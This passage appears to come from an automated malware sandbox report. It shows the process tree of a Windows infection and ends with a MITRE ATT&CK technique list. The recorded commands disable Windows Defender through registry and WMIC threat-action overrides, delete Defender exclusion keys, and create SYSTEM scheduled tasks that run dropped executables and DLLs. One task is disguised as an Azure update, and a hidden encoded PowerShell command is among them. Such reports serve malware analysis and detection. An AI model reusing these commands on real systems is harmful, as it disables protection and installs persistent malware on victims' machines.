3⤵
PID:4344

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
3⤵
PID:10752

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
3⤵
PID:10404

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
3⤵
PID:9700

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
3⤵
PID:9968

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
3⤵
PID:5744

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
3⤵
PID:10620

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
3⤵
PID:4020

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
3⤵
PID:11184

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
3⤵
PID:4344

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
3⤵
PID:4996

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
3⤵
PID:7380

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
3⤵
PID:9016

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
3⤵
PID:7064

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
3⤵
PID:10088

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ltIYxzDPAYrFIwAGQ" /SC once /ST 12:49:58 /RU "SYSTEM" /TR "\"C:\Windows\Temp\RFyFqfJDuYUdKAcq\QtVaOeuaBAbvQbN\lopzJoj.exe\" 5Q /site_id 394347 /S" /V1 /F
2⤵
- Creates scheduled task(s)
PID:1504

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "ltIYxzDPAYrFIwAGQ"
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:5076

C:\Users\Admin\AppData\Roaming\sfsjati
C:\Users\Admin\AppData\Roaming\sfsjati
1⤵
PID:10564

C:\Users\Admin\AppData\Roaming\sfsjati
C:\Users\Admin\AppData\Roaming\sfsjati
2⤵
PID:6652

C:\Users\Admin\AppData\Roaming\ifsjati
C:\Users\Admin\AppData\Roaming\ifsjati
1⤵
PID:9080

C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe
1⤵
PID:9724

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe"
2⤵
- Creates scheduled task(s)
PID:9584

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:11224

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:2372

C:\Windows\Temp\RFyFqfJDuYUdKAcq\QtVaOeuaBAbvQbN\sXULiiW.exe
C:\Windows\Temp\RFyFqfJDuYUdKAcq\QtVaOeuaBAbvQbN\sXULiiW.exe 5Q /site_id 394347 /S
1⤵
PID:9856

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
2⤵
PID:10268

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
3⤵
PID:3624

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
4⤵
PID:10744

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:8848

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
6⤵
PID:7076

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bvEsRafWhMmKiBKDqW"
2⤵
PID:10944

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
2⤵
PID:6188

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
3⤵
PID:9228

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
2⤵
PID:9644

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
3⤵
PID:7456

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\crcrQXlPU\aQvPOP.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "cYFQYBqNwQziPMs" /V1 /F
2⤵
- Creates scheduled task(s)
PID:7884

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "cYFQYBqNwQziPMs2" /F /xml "C:\Program Files (x86)\crcrQXlPU\agVOJiM.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:3016

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "cYFQYBqNwQziPMs"
2⤵
PID:9084

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "cYFQYBqNwQziPMs"
2⤵
PID:8148

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "jSPzustUlHBoAO" /F /xml "C:\Program Files (x86)\CjgIxFSmmQpU2\ZqhAmhI.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:10712

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "WHeGmzkbfgKon2" /F /xml "C:\ProgramData\rzEkYquIdPOPpzVB\rCpcguw.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:3012

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "kySwHeVukeuTJUPuq2" /F /xml "C:\Program Files (x86)\lHQyJDhQgtDStAIVNxR\cdcmkWM.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:9688

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "kaTLjwnokzquocBUkhu2" /F /xml "C:\Program Files (x86)\PzGYiYnhysPaC\dyDkBWf.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:4800

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "efmViKZDoXtTbgkLa" /SC once /ST 14:21:08 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\RFyFqfJDuYUdKAcq\uaRrTCTC\htRGClw.dll\",#1 /site_id 394347" /V1 /F
2⤵
- Creates scheduled task(s)
PID:10244

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "efmViKZDoXtTbgkLa"
2⤵
PID:708

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "spuRpPbgIPDf" /SC once /ST 07:44:07 /F /RU "Admin" /TR "\"C:\Users\Admin\AppData\Local\Temp\gYVyVZzeAgrTvcrYe\flmUYKME\dQxNwAe.exe\" uS /S"
2⤵
- Creates scheduled task(s)
PID:5708

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "spuRpPbgIPDf"
2⤵
PID:2228

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe /update /peruser /childprocess
1⤵
PID:10664

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\odt\taskhostw.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:9736

C:\Windows\Temp\RFyFqfJDuYUdKAcq\QtVaOeuaBAbvQbN\lopzJoj.exe
C:\Windows\Temp\RFyFqfJDuYUdKAcq\QtVaOeuaBAbvQbN\lopzJoj.exe 5Q /site_id 394347 /S
1⤵
PID:5544

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
2⤵
PID:9584

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
3⤵
PID:7980

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
4⤵
PID:10916

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:6084

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
6⤵
PID:848

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bvEsRafWhMmKiBKDqW"
2⤵
PID:1748

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
2⤵
PID:8384

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
3⤵
PID:11028

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
2⤵
PID:9008

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
3⤵
PID:9492

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\crcrQXlPU\vIiVIc.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "cYFQYBqNwQziPMs" /V1 /F
2⤵
- Creates scheduled task(s)
PID:2336

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "cYFQYBqNwQziPMs2" /F /xml "C:\Program Files (x86)\crcrQXlPU\IMztPrl.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:7956

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "cYFQYBqNwQziPMs"
2⤵
PID:10472

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "cYFQYBqNwQziPMs"
2⤵
PID:9760

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "jSPzustUlHBoAO" /F /xml "C:\Program Files (x86)\CjgIxFSmmQpU2\QGClnpL.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:10704

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "WHeGmzkbfgKon2" /F /xml "C:\ProgramData\rzEkYquIdPOPpzVB\ibqEMMx.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:3280

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "kySwHeVukeuTJUPuq2" /F /xml "C:\Program Files (x86)\lHQyJDhQgtDStAIVNxR\STmtBpB.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:8748

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "kaTLjwnokzquocBUkhu2" /F /xml "C:\Program Files (x86)\PzGYiYnhysPaC\PclkwwL.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:8100

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "spuaTjwDqnsv" /SC once /ST 12:10:26 /F /RU "Admin" /TR "\"C:\Users\Admin\AppData\Local\Temp\gYVyVZzeAgrTvcrYe\ApOrOfVb\BMaIpDR.exe\" uS /S"
2⤵
- Creates scheduled task(s)
PID:4884

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "spuaTjwDqnsv"
2⤵
PID:1792

C:\Users\Admin\AppData\Roaming\ifsjati
C:\Users\Admin\AppData\Roaming\ifsjati
1⤵
PID:9940

C:\Users\Admin\AppData\Roaming\sfsjati
C:\Users\Admin\AppData\Roaming\sfsjati
1⤵
PID:10444

C:\Users\Admin\AppData\Roaming\sfsjati
C:\Users\Admin\AppData\Roaming\sfsjati
2⤵
PID:1004

\??\c:\windows\system32\rundll32.EXE
c:\windows\system32\rundll32.EXE "C:\Windows\Temp\RFyFqfJDuYUdKAcq\uaRrTCTC\htRGClw.dll",#1 /site_id 394347
1⤵
PID:1644

C:\Windows\SysWOW64\rundll32.exe
c:\windows\system32\rundll32.EXE "C:\Windows\Temp\RFyFqfJDuYUdKAcq\uaRrTCTC\htRGClw.dll",#1 /site_id 394347
2⤵
PID:1556

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "efmViKZDoXtTbgkLa"
3⤵
PID:3312

C:\Users\Admin\AppData\Local\Temp\gYVyVZzeAgrTvcrYe\flmUYKME\dQxNwAe.exe
C:\Users\Admin\AppData\Local\Temp\gYVyVZzeAgrTvcrYe\flmUYKME\dQxNwAe.exe uS /S
1⤵
PID:8440

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
2⤵
PID:9828

C:\Users\Admin\AppData\Local\Temp\gYVyVZzeAgrTvcrYe\ApOrOfVb\BMaIpDR.exe
C:\Users\Admin\AppData\Local\Temp\gYVyVZzeAgrTvcrYe\ApOrOfVb\BMaIpDR.exe uS /S
1⤵
PID:5492

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
2⤵
PID:9180

\??\c:\windows\system32\rundll32.EXE
c:\windows\system32\rundll32.EXE "C:\Program Files (x86)\crcrQXlPU\vIiVIc.dll",#1
1⤵
PID:10736

C:\Windows\SysWOW64\rundll32.exe
c:\windows\system32\rundll32.EXE "C:\Program Files (x86)\crcrQXlPU\vIiVIc.dll",#1
2⤵
PID:8784

C:\Users\Admin\AppData\Local\Temp\1EE6.exe
C:\Users\Admin\AppData\Local\Temp\1EE6.exe
1⤵
PID:6176

C:\Users\Admin\AppData\Local\Temp\37EE.exe
C:\Users\Admin\AppData\Local\Temp\37EE.exe
1⤵
PID:1872

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-NetConnection
2⤵
PID:7804

C:\Users\Admin\AppData\Roaming\sfsjati
C:\Users\Admin\AppData\Roaming\sfsjati
1⤵
PID:5536

C:\Users\Admin\AppData\Roaming\ifsjati
C:\Users\Admin\AppData\Roaming\ifsjati
1⤵
PID:8712

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

New Service

T1050

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

New Service

T1050

Scheduled Task

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery